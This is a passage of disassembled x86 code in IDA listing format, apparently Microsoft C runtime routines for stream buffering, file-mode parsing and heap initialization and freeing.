[ebp+arg_4] dec dword ptr [ecx+4] js short loc_4186B2 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4186BD ; --------------------------------------------------------------------------- loc_4186B2: ; CODE XREF: sub_418699+9j push ecx push [ebp+arg_0] call sub_417E43 pop ecx pop ecx loc_4186BD: ; CODE XREF: sub_418699+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4186CA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4186CA: ; CODE XREF: sub_418699+2Aj inc dword ptr [eax] pop ebp retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_4186CE proc near ; CODE XREF: sub_417F58+65Ap ; sub_417F58+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4186FC mov esi, [esp+8+arg_C] loc_4186DF: ; CODE XREF: sub_4186CE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_418699 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4186FC mov eax, edi dec edi test eax, eax jg short loc_4186DF loc_4186FC: ; CODE XREF: sub_4186CE+Bj ; sub_4186CE+25j pop edi pop esi retn sub_4186CE endp ; =============== S U B R O U T I N E ======================================= sub_4186FF proc near ; CODE XREF: sub_417F58+670p ; sub_417F58+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_418733 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_418715: ; CODE XREF: sub_4186FF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_418699 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_418733 mov eax, ebx dec ebx test eax, eax jg short loc_418715 loc_418733: ; CODE XREF: sub_4186FF+Cj ; sub_4186FF+2Bj pop edi pop esi pop ebx retn sub_4186FF endp ; =============== S U B R O U T I N E ======================================= sub_418737 proc near ; CODE XREF: sub_417F58+E5p ; sub_417F58+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_418737 endp ; =============== S U B R O U T I N E ======================================= sub_418744 proc near ; CODE XREF: sub_417F58+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_418744 endp ; =============== S U B R O U T I N E ======================================= sub_418754 proc near ; CODE XREF: sub_417F58+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_418754 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418762 proc near ; CODE XREF: sub_415964+17p ; sub_415964+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_418780 mov ecx, ds:off_42F360 movzx eax, word ptr [ecx+eax*2] jmp short loc_4187D2 ; --------------------------------------------------------------------------- loc_418780: ; CODE XREF: sub_418762+10j mov ecx, eax push esi mov esi, ds:off_42F360 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_4187A5 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4187AE ; --------------------------------------------------------------------------- loc_4187A5: ; CODE XREF: sub_418762+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4187AE: ; CODE XREF: sub_418762+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41DC83 add esp, 1Ch test eax, eax jnz short loc_4187CE leave retn ; --------------------------------------------------------------------------- loc_4187CE: ; CODE XREF: sub_418762+68j movzx eax, word ptr [ebp+arg_0+2] loc_4187D2: ; CODE XREF: sub_418762+1Cj and eax, [ebp+arg_4] leave retn sub_418762 endp ; =============== S U B R O U T I N E ======================================= sub_4187D7 proc near ; CODE XREF: sub_415AD0+2Ap ; sub_41DFE6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, ds:dword_4CA4C0 jnb loc_418871 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4CA3C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_418871 push edi call sub_41DF52 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418850 cmp edi, 1 jz short loc_41881E cmp edi, 2 jnz short loc_418834 loc_41881E: ; CODE XREF: sub_4187D7+40j push 2 call sub_41DF52 push 1 mov ebp, eax call sub_41DF52 pop ecx cmp eax, ebp pop ecx jz short loc_418850 loc_418834: ; CODE XREF: sub_4187D7+45j push edi call sub_41DF52 pop ecx push eax call ds:off_422074 test eax, eax jnz short loc_418850 call ds:dword_42206C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_418852 ; --------------------------------------------------------------------------- loc_418850: ; CODE XREF: sub_4187D7+3Bj ; sub_4187D7+5Bj ... xor ebp, ebp loc_418852: ; CODE XREF: sub_4187D7+77j push edi call sub_41DED8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41886D push ebp call sub_41D064 pop ecx jmp short loc_418882 ; --------------------------------------------------------------------------- loc_41886D: ; CODE XREF: sub_4187D7+8Bj xor eax, eax jmp short loc_418885 ; --------------------------------------------------------------------------- loc_418871: ; CODE XREF: sub_4187D7+Ej ; sub_4187D7+2Fj and ds:dword_4C9088, 0 mov ds:dword_4C9084, 9 loc_418882: ; CODE XREF: sub_4187D7+94j or eax, 0FFFFFFFFh loc_418885: ; CODE XREF: sub_4187D7+98j pop edi pop esi pop ebp pop ebx retn sub_4187D7 endp ; =============== S U B R O U T I N E ======================================= sub_41888A proc near ; CODE XREF: sub_415AD0+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4188B3 test al, 8 jz short loc_4188B3 push dword ptr [esi+8] call sub_415DE1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4188B3: ; CODE XREF: sub_41888A+Aj ; sub_41888A+Ej pop esi retn sub_41888A endp ; =============== S U B R O U T I N E ======================================= sub_4188B5 proc near ; CODE XREF: sub_418955+2Dp ; sub_418955+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_4188C7 push esi call sub_418955 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4188C7: ; CODE XREF: sub_4188B5+7j push esi call sub_4188F0 test eax, eax pop ecx jz short loc_4188D7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4188D7: ; CODE XREF: sub_4188B5+1Bj test byte ptr [esi+0Dh], 40h jz short loc_4188EC push dword ptr [esi+10h] call sub_41DF8F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_4188EC: ; CODE XREF: sub_4188B5+26j xor eax, eax pop esi retn sub_4188B5 endp ; =============== S U B R O U T I N E ======================================= sub_4188F0 proc near ; CODE XREF: sub_415AD0+1Ap ; sub_416E2E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41893D test ax, 108h jz short loc_41893D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41893D push edi push eax push dword ptr [esi+10h] call sub_41CEB7 add esp, 0Ch cmp eax, edi jnz short loc_418936 mov eax, [esi+0Ch] test al, 80h jz short loc_41893D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41893D ; --------------------------------------------------------------------------- loc_418936: ; CODE XREF: sub_4188F0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41893D: ; CODE XREF: sub_4188F0+14j ; sub_4188F0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_4188F0 endp ; =============== S U B R O U T I N E ======================================= sub_41894C proc near ; CODE XREF: _0:loc_41DC07p push 1 call sub_418955 pop ecx retn sub_41894C endp ; =============== S U B R O U T I N E ======================================= sub_418955 proc near ; CODE XREF: sub_4188B5+Ap ; sub_41894C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp ds:dword_4CA3A0, esi jle short loc_4189B3 loc_418966: ; CODE XREF: sub_418955+5Cj mov eax, ds:dword_4C9380 mov eax, [eax+esi*4] test eax, eax jz short loc_4189AA mov ecx, [eax+0Ch] test cl, 83h jz short loc_4189AA cmp [esp+0Ch+arg_0], 1 jnz short loc_418990 push eax call sub_4188B5 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4189AA inc ebx jmp short loc_4189AA ; --------------------------------------------------------------------------- loc_418990: ; CODE XREF: sub_418955+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_4189AA test cl, 2 jz short loc_4189AA push eax call sub_4188B5 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4189AA or edi, eax loc_4189AA: ; CODE XREF: sub_418955+1Bj ; sub_418955+23j ... inc esi cmp esi, ds:dword_4CA3A0 jl short loc_418966 loc_4189B3: ; CODE XREF: sub_418955+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_4189BE mov eax, edi loc_4189BE: ; CODE XREF: sub_418955+65j pop edi pop esi pop ebx retn sub_418955 endp ; =============== S U B R O U T I N E ======================================= sub_4189C2 proc near ; CODE XREF: sub_415B26+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41DB3C test eax, eax pop ecx jz short loc_418A4B cmp esi, offset dword_431A98 jnz short loc_4189E0 xor eax, eax jmp short loc_4189EB ; --------------------------------------------------------------------------- loc_4189E0: ; CODE XREF: sub_4189C2+18j cmp esi, offset dword_431AB8 jnz short loc_418A4B push 1 pop eax loc_4189EB: ; CODE XREF: sub_4189C2+1Cj inc ds:dword_4C9248 test word ptr [esi+0Ch], 10Ch jnz short loc_418A4B cmp ds:dword_4C90DC[eax*4], 0 push ebx push edi lea edi, ds:4C90DCh[eax*4] mov ebx, 1000h jnz short loc_418A31 push ebx call sub_415D2F test eax, eax pop ecx mov [edi], eax jnz short loc_418A31 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_418A3E ; --------------------------------------------------------------------------- loc_418A31: ; CODE XREF: sub_4189C2+4Dj ; sub_4189C2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_418A3E: ; CODE XREF: sub_4189C2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_418A4B: ; CODE XREF: sub_4189C2+10j ; sub_4189C2+24j ... xor eax, eax pop esi retn sub_4189C2 endp ; =============== S U B R O U T I N E ======================================= sub_418A4F proc near ; CODE XREF: sub_415B26+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_418A79 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_418A8A push esi call sub_4188F0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_418A79: ; CODE XREF: sub_418A4F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_418A8A push eax call sub_4188F0 pop ecx loc_418A8A: ; CODE XREF: sub_418A4F+10j ; sub_418A4F+32j pop esi retn sub_418A4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A8C proc near ; CODE XREF: sub_415B58+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:dword_4C9250 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_418AC5 cmp al, 72h jz short loc_418ABE cmp al, 77h jnz loc_418BD9 mov ecx, 301h jmp short loc_418ACA ; --------------------------------------------------------------------------- loc_418ABE: ; CODE XREF: sub_418A8C+21j xor ecx, ecx or esi, 1 jmp short loc_418ACD ; --------------------------------------------------------------------------- loc_418AC5: ; CODE XREF: sub_418A8C+1Dj mov ecx, 109h loc_418ACA: ; CODE XREF: sub_418A8C+30j or esi, 2 loc_418ACD: ; CODE XREF: sub_418A8C+37j push 1 pop edx loc_418AD0: ; CODE XREF: sub_418A8C+8Bj ; sub_418A8C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_418BBF cmp edx, ebx jz loc_418BBF movsx eax, al cmp eax, 54h jg short loc_418B5E jz short loc_418B4E sub eax, 2Bh jz short loc_418B38 sub eax, 19h jz short loc_418B2E sub eax, 0Eh jz short loc_418B19 dec eax jnz loc_418BB0 cmp [ebp+var_4], ebx jnz loc_418BB0 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_418AD0 ; --------------------------------------------------------------------------- loc_418B19: ; CODE XREF: sub_418A8C+6Fj cmp [ebp+var_4], ebx jnz loc_418BB0 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_418AD0 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A8C+6Aj test cl, 40h jnz short loc_418BB0 or ecx, 40h jmp short loc_418AD0 ; --------------------------------------------------------------------------- loc_418B38: ; CODE XREF: sub_418A8C+65j test cl, 2 jnz short loc_418BB0 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_418AD0 ; --------------------------------------------------------------------------- loc_418B4E: ; CODE XREF: sub_418A8C+60j mov eax, 1000h test ecx, eax jnz short loc_418BB0 or ecx, eax jmp loc_418AD0 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A8C+5Ej sub eax, 62h jz short loc_418BAB dec eax jz short loc_418B94 sub eax, 0Bh jz short loc_418B7D sub eax, 6 jnz short loc_418BB0 test ch, 0C0h jnz short loc_418BB0 or ch, 40h jmp loc_418AD0 ; --------------------------------------------------------------------------- loc_418B7D: ; CODE XREF: sub_418A8C+DDj cmp [ebp+var_8], ebx jnz short loc_418BB0 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_418AD0 ; --------------------------------------------------------------------------- loc_418B94: ; CODE XREF: sub_418A8C+D8j cmp [ebp+var_8], ebx jnz short loc_418BB0 mov [ebp+var_8], 1 or esi, 4000h jmp loc_418AD0 ; --------------------------------------------------------------------------- loc_418BAB: ; CODE XREF: sub_418A8C+D5j test ch, 0C0h jz short loc_418BB7 loc_418BB0: ; CODE XREF: sub_418A8C+72j ; sub_418A8C+7Bj ... xor edx, edx jmp loc_418AD0 ; --------------------------------------------------------------------------- loc_418BB7: ; CODE XREF: sub_418A8C+122j or ch, 80h jmp loc_418AD0 ; --------------------------------------------------------------------------- loc_418BBF: ; CODE XREF: sub_418A8C+4Aj ; sub_418A8C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41DFE6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_418BDD loc_418BD9: ; CODE XREF: sub_418A8C+25j xor eax, eax jmp short loc_418BF7 ; --------------------------------------------------------------------------- loc_418BDD: ; CODE XREF: sub_418A8C+14Bj mov eax, [ebp+arg_C] inc ds:dword_4C9248 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_418BF7: ; CODE XREF: sub_418A8C+14Fj pop edi pop esi pop ebx leave retn sub_418A8C endp ; =============== S U B R O U T I N E ======================================= sub_418BFC proc near ; CODE XREF: sub_415B58p mov edx, ds:dword_4CA3A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_418C6D mov ebx, ds:dword_4C9380 mov edi, ebx loc_418C18: ; CODE XREF: sub_418BFC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_418C33 test byte ptr [ecx+0Ch], 83h jz short loc_418C2E inc eax add edi, 4 cmp eax, edx jl short loc_418C18 jmp short loc_418C6D ; --------------------------------------------------------------------------- loc_418C2E: ; CODE XREF: sub_418BFC+26j mov esi, [ebx+eax*4] jmp short loc_418C57 ; --------------------------------------------------------------------------- loc_418C33: ; CODE XREF: sub_418BFC+20j mov edi, eax push 20h shl edi, 2 call sub_415D2F pop ecx mov ecx, ds:dword_4C9380 mov [edi+ecx], eax mov eax, ds:dword_4C9380 mov edi, [edi+eax] cmp edi, ebp jz short loc_418C6D mov esi, edi loc_418C57: ; CODE XREF: sub_418BFC+35j cmp esi, ebp jz short loc_418C6D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_418C6D: ; CODE XREF: sub_418BFC+12j ; sub_418BFC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_418BFC endp ; =============== S U B R O U T I N E ======================================= sub_418C74 proc near ; CODE XREF: sub_415D41+1Fp ; sub_41756F+126p ... arg_0 = dword ptr 4 mov eax, ds:dword_4C90E8 test eax, eax jz short loc_418C8C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_418C8C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418C8C: ; CODE XREF: sub_418C74+7j ; sub_418C74+12j xor eax, eax retn sub_418C74 endp ; =============== S U B R O U T I N E ======================================= sub_418C8F proc near ; CODE XREF: sub_418CBC+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call ds:off_4220E0 cmp word ptr [eax], 5A4Dh jnz short loc_418CBA mov ecx, [eax+3Ch] test ecx, ecx jz short loc_418CBA add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_418CBA: ; CODE XREF: sub_418C8F+15j ; sub_418C8F+1Cj pop esi retn sub_418C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418CBC proc near ; CODE XREF: sub_418E04+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_415D00 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call ds:dword_422124 ; GetVersionExA test eax, eax jz short loc_418CFF cmp [ebp+var_88], 2 jnz short loc_418CFF cmp [ebp+var_94], 5 jb short loc_418CFF push 1 pop eax jmp loc_418E01 ; --------------------------------------------------------------------------- loc_418CFF: ; CODE XREF: sub_418CBC+27j ; sub_418CBC+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call ds:dword_42218C ; GetEnvironmentVariableA test eax, eax jz loc_418DEE xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_418D41 loc_418D2E: ; CODE XREF: sub_418CBC+83j mov al, [ecx] cmp al, 61h jl short loc_418D3C cmp al, 7Ah jg short loc_418D3C sub al, 20h mov [ecx], al loc_418D3C: ; CODE XREF: sub_418CBC+76j ; sub_418CBC+7Aj inc ecx cmp [ecx], bl jnz short loc_418D2E loc_418D41: ; CODE XREF: sub_418CBC+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_416EC0 add esp, 0Ch test eax, eax jnz short loc_418D63 lea eax, [ebp+var_122C] jmp short loc_418DAC ; --------------------------------------------------------------------------- loc_418D63: ; CODE XREF: sub_418CBC+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call ds:off_422060 cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_418D97 loc_418D84: ; CODE XREF: sub_418CBC+D9j mov al, [ecx] cmp al, 61h jl short loc_418D92 cmp al, 7Ah jg short loc_418D92 sub al, 20h mov [ecx], al loc_418D92: ; CODE XREF: sub_418CBC+CCj ; sub_418CBC+D0j inc ecx cmp [ecx], bl jnz short loc_418D84 loc_418D97: ; CODE XREF: sub_418CBC+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_415A50 pop ecx pop ecx loc_418DAC: ; CODE XREF: sub_418CBC+A5j cmp eax, ebx jz short loc_418DEE push 2Ch push eax call sub_417070 pop ecx cmp eax, ebx pop ecx jz short loc_418DEE inc eax mov ecx, eax cmp [eax], bl jz short loc_418DD3 loc_418DC5: ; CODE XREF: sub_418CBC+115j cmp byte ptr [ecx], 3Bh jnz short loc_418DCE mov [ecx], bl jmp short loc_418DCF ; --------------------------------------------------------------------------- loc_418DCE: ; CODE XREF: sub_418CBC+10Cj inc ecx loc_418DCF: ; CODE XREF: sub_418CBC+110j cmp [ecx], bl jnz short loc_418DC5 loc_418DD3: ; CODE XREF: sub_418CBC+107j push 0Ah push ebx push eax call sub_416861 add esp, 0Ch cmp eax, 2 jz short loc_418E01 cmp eax, 3 jz short loc_418E01 cmp eax, 1 jz short loc_418E01 loc_418DEE: ; CODE XREF: sub_418CBC+5Cj ; sub_418CBC+F2j ... lea eax, [ebp+var_4] push eax call sub_418C8F cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_418E01: ; CODE XREF: sub_418CBC+3Ej ; sub_418CBC+126j ... pop ebx leave retn sub_418CBC endp ; =============== S U B R O U T I N E ======================================= sub_418E04 proc near ; CODE XREF: _0:00417D5Ep arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_422194 ; HeapCreate test eax, eax mov ds:dword_4CA704, eax jz short loc_418E5A call sub_418CBC cmp eax, 3 mov ds:dword_4CA708, eax jnz short loc_418E40 push 3F8h call sub_418E61 pop ecx jmp short loc_418E4A ; --------------------------------------------------------------------------- loc_418E40: ; CODE XREF: sub_418E04+2Dj cmp eax, 2 jnz short loc_418E5D call sub_4199A8 loc_418E4A: ; CODE XREF: sub_418E04+3Aj test eax, eax jnz short loc_418E5D push ds:dword_4CA704 call ds:dword_422190 ; HeapDestroy loc_418E5A: ; CODE XREF: sub_418E04+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_418E5D: ; CODE XREF: sub_418E04+3Fj ; sub_418E04+48j push 1 pop eax retn sub_418E04 endp ; =============== S U B R O U T I N E ======================================= sub_418E61 proc near ; CODE XREF: sub_418E04+34p arg_0 = dword ptr 4 push 140h push 0 push ds:dword_4CA704 call ds:dword_4220C8 ; RtlAllocateHeap test eax, eax mov ds:dword_4CA6FC, eax jnz short loc_418E7E retn ; --------------------------------------------------------------------------- loc_418E7E: ; CODE XREF: sub_418E61+1Aj mov ecx, [esp+arg_0] and ds:dword_4CA6F4, 0 and ds:dword_4CA6F8, 0 push 1 mov ds:dword_4CA6F0, eax mov ds:dword_4CA700, ecx mov ds:dword_4CA6E8, 10h pop eax retn sub_418E61 endp ; =============== S U B R O U T I N E ======================================= sub_418EA9 proc near ; CODE XREF: sub_415DE1+17p ; sub_41756F+4Cp ... arg_0 = dword ptr 4 mov eax, ds:dword_4CA6F8 lea ecx, [eax+eax*4] mov eax, ds:dword_4CA6FC lea ecx, [eax+ecx*4] loc_418EB9: ; CODE XREF: sub_418EA9+26j cmp eax, ecx jnb short loc_418ED1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_418ED3 add eax, 14h jmp short loc_418EB9 ; --------------------------------------------------------------------------- loc_418ED1: ; CODE XREF: sub_418EA9+12j xor eax, eax locret_418ED3: ; CODE XREF: sub_418EA9+21j retn sub_418EA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418ED4 proc near ; CODE XREF: sub_415DE1+23p ; sub_41756F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_4191F8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_418FAA sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_418F38 push 3Fh pop edx loc_418F38: ; CODE XREF: sub_418ED4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_418F8C cmp edx, 20h jnb short loc_418F63 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_418F84 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_418F84 ; --------------------------------------------------------------------------- loc_418F63: ; CODE XREF: sub_418ED4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_418F84 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_418F84: ; CODE XREF: sub_418ED4+86j ; sub_418ED4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_418F8F ; --------------------------------------------------------------------------- loc_418F8C: ; CODE XREF: sub_418ED4+6Aj mov ecx, [ebp+var_4] loc_418F8F: ; CODE XREF: sub_418ED4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_418FAA: ; CODE XREF: sub_418ED4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_418FB8 push 3Fh pop edx loc_418FB8: ; CODE XREF: sub_418ED4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41905B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_418FDD mov ebx, esi loc_418FDD: ; CODE XREF: sub_418ED4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_418FEF mov edx, esi loc_418FEF: ; CODE XREF: sub_418ED4+117j cmp ebx, edx jz short loc_419056 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41903E cmp ebx, 20h jnb short loc_41901F mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41903E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41903E ; --------------------------------------------------------------------------- loc_41901F: ; CODE XREF: sub_418ED4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41903E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41903E: ; CODE XREF: sub_418ED4+128j ; sub_418ED4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_419056: ; CODE XREF: sub_418ED4+11Dj mov esi, [ebp+arg_4] jmp short loc_41905E ; --------------------------------------------------------------------------- loc_41905B: ; CODE XREF: sub_418ED4+EDj mov ebx, [ebp+arg_0] loc_41905E: ; CODE XREF: sub_418ED4+185j cmp [ebp+var_C], 0 jnz short loc_41906C cmp ebx, edx jz loc_4190ED loc_41906C: ; CODE XREF: sub_418ED4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_4190ED mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_4190C4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4190B3 mov ebx, 80000000h 